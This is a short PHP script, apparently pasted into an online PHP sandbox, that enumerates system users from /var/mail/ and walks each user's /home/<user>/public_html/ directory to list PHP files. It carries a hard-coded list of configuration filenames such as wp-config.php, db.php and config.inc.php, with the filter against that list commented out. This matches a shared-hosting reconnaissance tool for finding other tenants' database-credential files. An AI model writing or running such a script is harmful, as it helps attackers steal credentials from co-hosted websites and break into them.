<?php
$users = array();
$homepaths = array();
$configlist = array(
'config.php',
'config.inc.php',
'db.inc.php',
'connect.php',
'wp-config.php',
'var.php',
'configure.php',
'database.php',
'db.php',
'configuration.php',
'db_connect.php');
$var = '/var/mail/';
if (is_readable($var) & is_dir($var)) {
$userlist = rglob('{*}', GLOB_BRACE, $var);
} else {
die("cant grab users from {$var}");
}
if (!empty($userlist)) {
foreach ($userlist as $user) {
array_push($users, preg_replace('/^.+[\\\\\\/]/', '', $user));
}
}
foreach ($users as $usr) {
$path = "/home/{$usr}/public_html/";
if (is_dir($path)) {
array_push($homepaths, $path);
}
}
foreach ($homepaths as $home) {
if (is_dir($home)) {
$fileList = rglob('{*.php}', GLOB_BRACE, $home);
if (!empty($fileList)) {
foreach ($fileList as $f) {
//if (in_array(preg_replace('/^.+[\\\\\\/]/', '', $f), $configlist)) {
echo $f;
// }
}
}
}
}
/*
rglob func borrowed from
https://github.com/hm2k/hm2k-php/blob/master/functions/rglob.php
*/
function rglob($pattern = '*', $flags = 0, $path = '')
{
$paths = glob($path . '*', GLOB_MARK | GLOB_ONLYDIR | GLOB_NOSORT);
$files = glob($path . $pattern, $flags);
foreach ($paths as $path) {
$files = array_merge($files, rglob($pattern, $flags, $path));
}
return $files;
}
?>
preferences:
43.38 ms | 402 KiB | 5 Q